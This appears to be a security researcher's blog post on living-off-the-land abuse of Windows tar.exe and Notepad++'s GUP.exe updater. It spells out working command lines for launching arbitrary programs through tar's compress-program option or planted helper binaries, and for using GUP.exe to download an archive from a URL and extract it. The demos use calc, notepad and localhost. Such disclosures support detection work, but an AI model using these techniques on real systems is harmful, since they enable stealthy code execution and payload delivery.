This post summarizes some of the findings I posted on Twitter the other day.

While looking at Windows version of tar.exe I discovered that it includes lots of undocumented command line arguments; undocumented – in a sense that they are not described in program’s help (tar –help), but are obviously known to *NIX tar program users:

Amongst the more interesting ones are the LOLBIN and data encoding opportunities:

Encoding

Windows tar can BASE64-encode and UUEncode files:

tar -c -f<out> --b64encode <in>
tar -c -f<out> --uuencode <in>

Decoding

Using “-x” we can decode these files:

tar -x -f<in> --b64encode
tar -x -f<in> --uuencode 

Running programs (lolbin #1):

tar -cff --use-compress-program calc f

The –use-compress-program works with:

• -c(create)
• -x(extract)
• -t(test)

options meaning that:

tar -x --use-compress-program calc -f <in> 
tar -t --use-compress-program calc -f <in>

can be used to launch a program of your choice too.

Running Programs (lolbin #2):

When you use tar to create archives using different archive types e.g. bzip2, grzip, xz, etc. tar.exe spawns a child process (e.g. bzip2.exe). You can place a dummy bzip2.exe in your chosen directory and it will be launched when you use a command like the one below:

tar -c -ffoo -j .

Possible child processes created (need to tinker with options) are:

• bzip2.exe
• grzip.exe
• lrzip.exe
• lz4.exe
• lzop.exe
• lzma.exe
• xz.exe
• lzip.exe

Some of them only work with “test” option e.g. xz

tar -t -f<in> -J

These are existing archive type options

• -j, -y — bzip2.exe
• -J = xz.exe
• -z = (gzip – n/a)
• -Z = (compress – n/a)
• –grzip = grzip.exe
• –lrzip = lrzip.exe
• –lz4 = lz4.exe
• –lzma = (lzma – n/a)
• –lzip = (doesn’t seem to work although should spawn lzip.exe)
• –lzop = lzop.exe

Notepad ++ comes with a built-in Updater called GUP typically located here:

c:\Program Files (x86)\Notepad++\updater\GUP.exe

It is a generic downloader that accepts a range of command line arguments, and while it’s non-trivial what arguments it takes, and in what order we need to put them to make it tick, at least two of them make for particularly interesting lolbin use cases.

Execute via Proxy

c:\Program Files (x86)\Notepad++\updater\GUP.exe -unzipTo c:\windows\system32\calc.exe <anything> <anything>

f.ex. :

GUP.exe -unzipTo c:\windows\system32\calc.exe 1 1

will launch Calculator.

Downloader

Since it’s a downloader by design, I am not sure to what extent the definition of LOLBIN can cover this use case, but the since program itself is signed, and using it to download something than the original author anticipated kinda ticks the box, I would say it does fulfill these requirements well.

The following command line:

GUP.exe -unzipTo [program] [directory] "[name] [URL] [SHA256]"

will download the file from the URL and save it to %TEMP% folder, before it will extract it to [directory].

The %TEMP% bit always works, but if the archive doesn’t follow the expected NPP Plugin structure, or your SHA256 (of the archive) is incorrect you may see errors. The NPP Plugin Structure is trivial, e.g. the following will do:

• bar.zip
  • bar.dll

When downloaded it will be placed under [directory]\bar\bar.dll.

And finally the actual example:

GUP.exe -unzipTo "c:\windows\system32\notepad.exe" "C:\test" "bar http://127.0.0.1:8080/bar.zip C072B391D5FAFC13E9D84A5F3A335A08DA218B5A0130981525EC2E0E3598E76F"

from my test under Tomcat.